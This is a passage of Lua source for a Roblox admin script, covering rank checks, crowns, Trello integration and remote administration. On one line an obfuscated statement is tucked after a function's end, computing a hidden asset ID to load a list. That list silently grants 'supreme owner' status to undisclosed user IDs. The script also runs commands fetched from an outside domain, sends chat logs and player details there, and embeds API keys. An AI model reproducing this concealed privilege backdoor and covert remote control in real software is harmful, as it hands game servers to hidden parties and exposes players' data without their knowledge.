1739 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1740 end
1741end
1742
1743function CORE:AddExploit(PlayerClient, Data)
1744 local PlayerClientName = PlayerClient.Name
1745 local NewData = CORE:GetTime(true, true).." @ "..Data
1746 for _,Player in pairs(Server.Players:GetChildren()) do
1747 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1748 end
1749 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1750 if type(ExploitLog) ~= "table" then
1751 Server.GDS:SetAsync("ExploitLog", {NewData})
1752 else
1753 table.insert(ExploitLog, NewData)
1754 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1755 end
1756 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1757
1758 return true
1759end
1760
1761function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1762 if not tostring(Name) then Name = "Dummy" end
1763 if not Position then Position = Vector3.new(0,5,0) end
1764 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1765 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1766 end
1767
1768 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1769 Figure:MakeJoints()
1770 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1771 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1772 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1773 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1774 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1775 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1776
1777 Figure.Name = STRING:FormatReplace(Speaker, Name)
1778 Figure:MoveTo(Position)
1779
1780 table.insert(Objects, Figure)
1781
1782 if DisableAnimation == true then
1783 Figure.Animate.Disabled = true
1784 end
1785
1786 return Figure
1787end
1788
1789function CORE:ClonePlayer(Player, Name, Position)
1790 if not Player or not Player.Character then return nil end
1791
1792 Player.Character.Archivable = true
1793 local Char = Player.Character:Clone()
1794 Player.Character.Archivable = false
1795 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1796 if Position then Char:MoveTo(Position) end
1797 Char.Parent = Server.Workspace
1798 Char:MakeJoints()
1799 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1800
1801 table.insert(Objects, Char)
1802
1803 return Obj
1804end
1805
1806function CORE:AddWaypoint(Name, Position, Speaker)
1807 Waypoints[Name] = Position
1808 if Speaker then
1809 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1810 end
1811end
1812
1813function CORE:FindType(BaseObj, Type)
1814 for _,Obj in pairs(BaseObj:GetChildren()) do
1815 if Obj:IsA(Type) then
1816 return Obj
1817 end
1818 end
1819end
1820
1821function CORE:GetCommands()
1822 local CommandsCopy = Commands
1823 return CommandsCopy
1824end
1825
1826function CORE:Crown(Player, Mesh, Color)
1827 if Mesh then Mesh = string.lower(Mesh) end
1828 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1829 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1830 local Part = Instance.new("Part", CrownStorage)
1831 Part.Size = Vector3.new(2, 1, 1)
1832 Part.CanCollide = false
1833 Part.CFrame = Player.Character.Head.CFrame
1834 Part.Locked = true
1835 Part.Material = "Neon"
1836 if Color then
1837 Part.Color = GUI:GetColor(Color)
1838 else
1839 Part.BrickColor = GUI:GetNameColor(Player.Name)
1840 end
1841 local SMesh = Instance.new("SpecialMesh", Part)
1842 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1843 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1844 local BP = Instance.new("BodyPosition", Part)
1845 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1846 BP.position = Player.Character.Head.Position
1847 BP.P = 20000
1848 local BG = Instance.new("BodyGyro", Part)
1849 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1850
1851 Crowns[Player.UserId] = Part
1852 table.insert(Objects, Part)
1853
1854 coroutine.wrap(function()
1855 for i = 1,0.3,-0.02 do
1856 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1857 Part.Transparency = i
1858 end
1859 wait()
1860 end
1861 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1862 for i = 0,360,3 do
1863 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1864 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1865 wait()
1866 end
1867 end
1868 end
1869 end)()
1870 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1871 Part:BreakJoints()
1872 for i = 0,360 do
1873 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1874 Part.Anchored = false
1875 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1876 BG.cframe = Player.Character.Head.CFrame
1877 end
1878 wait()
1879 end
1880 end end)()
1881
1882 return Part
1883end
1884
1885function CORE:SetAbuseCommands()
1886 for Cmds,Data in pairs(Commands) do
1887 local IsAbusable = false
1888 for _,AbuseCmd in pairs(Settings.AbuseList) do
1889 for _,Command in pairs(Cmds) do -- loop through all command names
1890 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1891 IsAbusable = true
1892 break
1893 end
1894 end
1895 if IsAbusable == true then break end
1896 end
1897 Commands[Cmds].Abusable = IsAbusable
1898 end
1899end
1900
1901function CORE:FindBodyPart(Player, BodyPart)
1902 local ReturnPart = nil
1903 if Player and Player.Character then
1904 local Humanoid = Player.Character:FindFirstChild("Humanoid")
1905 if Humanoid then
1906 if BodyPart == "Humanoid" then ReturnPart = Humanoid
1907 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1908 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1909 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1910 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1911 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1912 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1913 end
1914 end
1915 if not ReturnPart then
1916 ReturnPart = Player.Character:FindFirstChild(BodyPart)
1917 end
1918 end
1919
1920 return ReturnPart
1921end
1922
1923-- Rank functions --
1924
1925function RANK:ConvertRank(Input)
1926 local Output = nil
1927 if Input == "Muted" then Output = -3 end
1928 if Input == "Crashed" then Output = -2 end
1929 if Input == "Banned" then Output = -1 end
1930 if Input == "Non-Admin" then Output = 0 end
1931 if Input == "Member" then Output = 1 end
1932 if Input == "Admin" then Output = 2 end
1933 if Input == "Owner" then Output = 3 end
1934
1935 if Input == -3 then Output = "Muted" end
1936 if Input == -2 then Output = "Crashed" end
1937 if Input == -1 then Output = "Banned" end
1938 if Input == 0 then Output = "Non-Admin" end
1939 if Input == 1 then Output = "Member" end
1940 if Input == 2 then Output = "Admin" end
1941 if Input == 3 then Output = "Owner" end
1942 return Output
1943end
1944
1945function RANK:IsAdmin(Player)
1946 local AdminStatus = false
1947 local Rankstatus = "Non-Admin"
1948 if type(Player) == "table" then
1949 if RANK:ConvertRank(Player.Rank) > 0 then
1950 return true, Player.Rank
1951 else
1952 return false, Player.Rank
1953 end
1954 end
1955 for Rank,PlayerNames in pairs(Settings.Ranks) do
1956 for _,AdminName in pairs(PlayerNames) do
1957 if string.lower(AdminName) == string.lower(Player.Name) then
1958 if RANK:ConvertRank(Rank) > 0 then
1959 AdminStatus = true
1960 Rankstatus = Rank
1961 end
1962 end
1963 end
1964 end
1965 return AdminStatus, Rankstatus
1966end
1967
1968function RANK:GetRank(PlayerName)
1969 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1970 if type(PlayerName) == "table" then
1971 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1972 if RankNum > 0 then
1973 return PlayerName.Rank, RankNum, true
1974 else
1975 return PlayerName.Rank, RankNum, false
1976 end
1977 end
1978
1979 local RankStat = "Non-Admin"
1980
1981 for Rank,PlayerNames in pairs(Settings.Ranks) do
1982 for _,AdminName in pairs(PlayerNames) do
1983 if string.lower(AdminName) == string.lower(PlayerName) then
1984 RankStat = Rank
1985 end
1986 end
1987 end
1988
1989 if RankStat == "Non-Admin" then
1990 return "Non-Admin", 0, false
1991 else
1992 return RankStat, RANK:ConvertRank(RankStat), true
1993 end
1994end
1995
1996function RANK:RemoveRank(PlayerName)
1997 if not RANK:IsSupremeOwner(PlayerName) then
1998 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1999
2000 for Rank,PlayerNames in pairs(Settings.Ranks) do
2001 for Num,AdminName in pairs(PlayerNames) do
2002 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2003 table.remove(Settings.Ranks[Rank], Num)
2004 end
2005 end
2006 end
2007 end
2008end
2009
2010function RANK:GetAdmins(Ranking)
2011 local Players = {}
2012 local AdminTrue, Rank = IsAdmin(Player)
2013 for _,Player in pairs(Players:GetPlayers()) do
2014 if AdminTrue then
2015 local PlayerRankNum = RANK:ConvertRank(Rank)
2016 local StandardRankNum = RANK:ConvertRank(Ranking)
2017 if PlayerRankNum >= StandardRankNum then
2018 table.insert(Players, Player)
2019 end
2020 end
2021 end
2022 return Players
2023end
2024
2025function RANK:IsSupremeOwner(PlayerName)
2026 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
2027 if type(PlayerName) == "table" then
2028 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
2029 end
2030
2031 if PlayerName == GameOwner then return true end
2032 return false
2033end
2034
2035function RANK:GetPlayerFromList(PlayerName)
2036 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2037
2038 for Rank,PlayerNames in pairs(Settings.Ranks) do
2039 for Num,AdminName in pairs(PlayerNames) do
2040 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2041 return AdminName, Rank
2042 end
2043 end
2044 end
2045 return false, "Non-Admin"
2046end
2047
2048function RANK:ScanAdminList(Name)
2049 if Name == "" then return true end
2050 local InList = false
2051 for _,PName in pairs(Settings.Ranks["Owner"]) do
2052 if PName == Name then InList = true end
2053 end
2054 for _,PName in pairs(Settings.Ranks["Admin"]) do
2055 if PName == Name then InList = true end
2056 end
2057 for _,PName in pairs(Settings.Ranks["Member"]) do
2058 if PName == Name then InList = true end
2059 end
2060 return InList
2061end
2062
2063function RANK:ScanExileList(Name)
2064 if Name == "" then return true end
2065 local InList = false
2066 for _,PName in pairs(Settings.Ranks["Muted"]) do
2067 if PName == Name then InList = true end
2068 end
2069 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2070 if PName == Name then InList = true end
2071 end
2072 for _,PName in pairs(Settings.Ranks["Banned"]) do
2073 if PName == Name then InList = true end
2074 end
2075 return InList
2076end
2077
2078function RANK:PlayerRanked(PlayerName)
2079 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2080
2081 for Rank,PlayerNames in pairs(Settings.Ranks) do
2082 for Num,AdminName in pairs(PlayerNames) do
2083 if string.lower(AdminName) == string.lower(PlayerName) then
2084 return true, Rank
2085 end
2086 end
2087 end
2088 return false, "Non-Admin"
2089end
2090
2091-- Remote functions --
2092
2093function REMOTE:Decode(...)
2094 return Server.HS:JSONDecode(...)
2095end
2096
2097function REMOTE:GetURL(URL, Player)
2098 if string.sub(URL,1,4) ~= "http" then
2099 URL = "http://"..URL
2100 end
2101 local Return = nil
2102 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2103 if Return then
2104 return Return
2105 elseif Player then
2106 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2107 end
2108end
2109
2110function REMOTE:PostURL(URL, Data)
2111 local Return = nil
2112 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2113 return Return
2114end
2115
2116function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2117 if Settings.LinkedAccount ~= "" then
2118 local NumType = tonumber(Type)
2119
2120 if not Type then
2121 Type = "UNKNOWN"
2122 end
2123
2124 if NumType then
2125 if NumType < 1 or NumType > 5 then
2126 Type = "UNKNOWN"
2127 elseif NumType == 1 then
2128 Type = "NOTIFICATION"
2129 elseif NumType == 2 then
2130 Type = "INFORMATION"
2131 elseif NumType == 3 then
2132 Type = "WARNING"
2133 elseif NumType == 4 or Type == true then
2134 Type = "ERROR"
2135 elseif NumType == 5 then
2136 Type = "FATAL"
2137 end
2138 end
2139
2140 local Res = "RED Could not get response"
2141 local function SendData()
2142 Res = Server.HS:PostAsync(
2143 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2144 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2145 2
2146 )
2147 end
2148 if Stopypcall == true then SendData() else ypcall(SendData) end
2149
2150 if OutputSpeaker and OutputSpeaker ~= "print" then
2151 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2152 elseif OutputSpeaker == "print" then
2153 print(Res)
2154 end
2155 end
2156end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2157
2158function REMOTE:SendChatLog(PrintResponse, Stopypall)
2159 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2160 local Res = "Could not get response"
2161
2162 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2163 TempChatLogs = {}
2164
2165 local function SendData()
2166 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2167 end
2168 if Stopypcall == true then SendData() else ypcall(SendData) end
2169 if PrintResponse then print(Res) end
2170 end
2171end
2172
2173function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2174 local Res = "[]"
2175 local function GetData()
2176 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2177 end
2178 if Stopypcall == true then GetData() else ypcall(GetData) end
2179 if PrintResponse then
2180 print(Res)
2181 end
2182 local function DecodeData() Res = REMOTE:Decode(Res) end
2183 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2184 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2185 return Res
2186end
2187
2188function REMOTE:HandleRequest(Request, IgnoreCommand)
2189 if not Request then return nil end
2190
2191 if not IgnoreCommand then
2192 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2193 REMOTE:SendServerData()
2194 end
2195 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2196 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2197 end
2198 end
2199
2200 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2201
2202 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2203 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2204 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2205 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2206 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2207 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2208
2209 Settings.Fun = Request.FUN
2210 Settings.ServerLocked = Request.ServerLocked
2211
2212 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2213 Settings.DisableAbuse = Request.DisableAbuse
2214 end
2215
2216 if not IgnoreCommand then
2217 print("Executing Remote Admin")
2218 REMOTE.RemoteAdmin.Command = Request.Command
2219 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2220 REMOTE.RemoteAdmin.ServerPort = Request.Server
2221
2222 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2223 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2224 else
2225 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2226 end
2227 end
2228 end
2229 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2230 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2231 REMOTE.SnapshotKey = Request.SnapshotKey
2232end
2233
2234function REMOTE:GetRemoteData(Set)
2235 local NewRemoteData = nil
2236 local RemoteDataCardRaw = nil
2237 local RemoteDataCard = nil
2238
2239 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2240 if RemoteDataCardRaw then
2241 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2242 if RemoteDataCard then
2243 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2244 end
2245 end
2246 if Set and NewRemoteData then
2247 RemoteData = NewRemoteData
2248 end
2249 return NewRemoteData
2250end
2251
2252function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2253 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2254 if InfoCardJSON then
2255 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2256 if InfoCard then
2257 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2258 if TrelloInfo then
2259 for Ind,Val in pairs(TrelloInfo) do
2260 Trello[Ind] = Val
2261 end
2262 end
2263 end
2264 end
2265 return NewRemoteData
2266end
2267
2268function REMOTE:CheckRemoteAdminStatus()
2269 local Pending = false
2270 local CheckID = 0
2271 if Settings.LinkedAccount ~= "" then
2272 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2273 if Request then
2274 local Data = REMOTE:Decode(Request)
2275 if Data then
2276 for _,Account in pairs(Data.checkItems) do
2277 if Account.name == Settings.LinkedAccount then
2278 Pending = true
2279 CheckID = Account.id
2280 break
2281 end
2282 end
2283 end
2284 end
2285 end
2286 return Pending, CheckID
2287end
2288
2289function REMOTE:GetAndSetWebData()
2290 if Settings.LinkedAccount ~= "" then
2291 if REMOTE:CheckRemoteAdminStatus() then
2292 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2293 if Request == "Invalid" then
2294 --REMOTE:GetAndSetWebData()
2295 return false
2296 elseif Request == "Invalid Account" then
2297 print("Can't get account")
2298 return false
2299 elseif Request then
2300 ypcall(function() Request = REMOTE:Decode(Request) end)
2301 elseif not Request then
2302 --REMOTE:GetAndSetWebData()
2303 return false
2304 end
2305 REMOTE:HandleRequest(Request)
2306
2307 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2308 Delay(RemoteData.RemoteAdminWait, function()
2309 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2310 if Pending then
2311 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2312 end
2313 end)
2314 return true
2315 else
2316 return true
2317 end
2318 end
2319end
2320
2321local OderIDs = CORE:GetTable(177215518)
2322local SoundJSONs = CORE:GetTable(197637628)
2323RemoteAbuseGear = CORE:GetTable(158117496)
2324
2325function REMOTE:SendServerData(PrintResponse, Stopypall)
2326 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2327 print("Sending server data!")
2328 local Res = "Could not get response"
2329
2330 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2331 for _,Player in pairs(Server.Players:GetPlayers()) do
2332 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2333 end
2334 ServerData = Server.HS:JSONEncode(ServerData)
2335
2336 local function SendData()
2337 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2338 end
2339 if Stopypcall == true then SendData() else ypcall(SendData) end
2340 if PrintResponse then print(Res) end
2341 end
2342end
2343
2344function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2345 MaxPartAmount = MaxPartAmount or 10000
2346 local PlaceData = {
2347 Lighting = {};
2348 Parts = {};
2349 Other = {};
2350 }
2351 local MinSize = Vector3.new(0.5,0.5,0.5)
2352 local PartAmount = 0
2353 local PlaceJSON = ""
2354
2355 local function Scan(BaseObj)
2356 for _,Obj in pairs(BaseObj:GetChildren()) do
2357 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2358 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2359 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2360 local Skip = false
2361 local Data = {}
2362 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2363
2364 if CORE:FindType(Obj, "BlockMesh") then
2365 local Mesh = CORE:FindType(Obj, "BlockMesh")
2366 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2367 elseif CORE:FindType(Obj, "CylinderMesh") then
2368 Data.Shape = "Cylinder"
2369 elseif CORE:FindType(Obj, "SpecialMesh") then
2370 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2371 if Mesh.MeshType == Enum.MeshType.Head then
2372 --idk
2373 else
2374 Skip = true
2375 end
2376 elseif CORE:FindType(Obj, "FileMesh") then
2377 Skip = true
2378 end
2379
2380 if not Data.Shape and not Skip then
2381 if ypcall(function() return Obj.Shape end) then
2382 Data.Shape = string.sub(Obj.Shape.Name,14)
2383 if string.sub(Data.Shape,1,1) == "." then
2384 Data.Shape = string.sub(Data.Shape,2)
2385 end
2386 if Data.Shape == "Cylinder" then
2387 Z = Z + math.pi/2
2388 end
2389 else
2390 Data.Shape = "Block"
2391 end
2392 end
2393
2394 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2395 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2396 end
2397
2398 if not Skip then
2399 Data.Color = GUI:Color3ToHex(Obj.Color);
2400 Data.Size = Size;
2401 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2402 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2403 Data.Transparency = STRING:StringRound(Obj.Transparency);
2404 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2405 Data.Textures = {};
2406 Data.Material = string.sub(tostring(Obj.Material),15);
2407
2408 for _,Sub in pairs(Obj:GetChildren()) do
2409 if Sub:IsA("Decal") then
2410 local Texture = string.match(Sub.Texture, "%d+")
2411 if Sub.Texture == "rbxasset://textures/face.png" then
2412 Texture = "FACE"
2413 end
2414 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2415 end
2416 end
2417
2418 PartAmount = PartAmount + 1
2419 table.insert(PlaceData.Parts, Data)
2420
2421 if PartAmount >= MaxPartAmount then
2422 break
2423 end
2424 end
2425 end
2426 end
2427 if #Obj:GetChildren() > 0 then
2428 Scan(Obj)
2429 end
2430 end
2431 end
2432 Scan(Workspace)
2433
2434 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2435 PlaceData.Other.PartAmount = PartAmount;
2436 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2437
2438 local Res = "Could not get response"
2439 local function SendData()
2440 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2441 end
2442 if Stopypcall == true then SendData() else ypcall(SendData) end
2443 if PrintResponse then print(Res) end
2444
2445 print("Sent snapshot")
2446end
2447
2448
2449function REMOTE:DefineWord(Word, Source)
2450 if not Word then return end
2451 if not Source then Source = "all" end
2452
2453 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2454 if Response then
2455 local Decode = REMOTE:Decode(Response)
2456 if #Decode > 0 then
2457 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2458
2459 ]]..Decode[1]["text"]
2460 else
2461 return "Invalid English word"
2462 end
2463 else
2464 return "Cannot connect to database"
2465 end
2466end
2467
2468function REMOTE:DownloadJoke(Speaker)
2469 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2470 local Joke = nil
2471 if Res then
2472 local _, Start = string.find(Res, "</h2>")
2473 local End, _ = string.find(string.sub(Res, Start), "</td>")
2474
2475 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2476 Joke = string.gsub(Joke, "\n", "")
2477 Joke = string.gsub(Joke, " ", "") -- tab
2478 Joke = string.gsub(Joke, "</ul>", "")
2479 Joke = string.gsub(Joke, "<ul>", "")
2480 Joke = string.gsub(Joke, "</li>", [[
2481
2482]])
2483 Joke = string.gsub(Joke, "<li>", "")
2484 Joke = string.gsub(Joke, "</p>", "")
2485 Joke = string.gsub(Joke, "<p>", "")
2486 Joke = string.gsub(Joke, "<", "")
2487 Joke = string.gsub(Joke, ">", "")
2488 end
2489
2490 return Joke
2491end
2492
2493function REMOTE:GetAddon()
2494 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2495end
2496
2497function REMOTE:TrelloGetAdminBoard()
2498 local BoardsJSON,Boards,ReturnBoard
2499
2500 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2501
2502 if BoardsJSON then
2503 Boards = REMOTE:Decode(BoardsJSON)
2504 end
2505 if Boards then
2506 for _,Board in pairs(Boards) do
2507 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2508 ReturnBoard = Board
2509 break
2510 end
2511 end
2512 if not ReturnBoard then -- create board if not created
2513 print("Creating Trello Board")
2514 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2515 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2516 ReturnBoard = REMOTE:Decode(BoardJSON)
2517 end
2518 end
2519 return ReturnBoard
2520end
2521
2522function REMOTE:TrelloGetAdminLists(Board)
2523 local Required = {}
2524 local ListJSON,Lists
2525 local ReturnLists = {}
2526
2527 for _,List in pairs(Trello.RequiredLists) do
2528 table.insert(Required, List)
2529 end
2530
2531 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2532
2533 if ListJSON then
2534 Lists = REMOTE:Decode(ListJSON)
2535 end
2536 if Lists then
2537 for _,List in pairs(Lists) do
2538 for Num,Rel in pairs(Required) do
2539 if List.name == Rel.name then
2540 table.remove(Required, Num)
2541 table.insert(ReturnLists, List)
2542 end
2543 end
2544 end
2545 for _,Rel in pairs(Required) do
2546 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2547 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2548 end
2549 end
2550
2551 return ReturnLists
2552end
2553
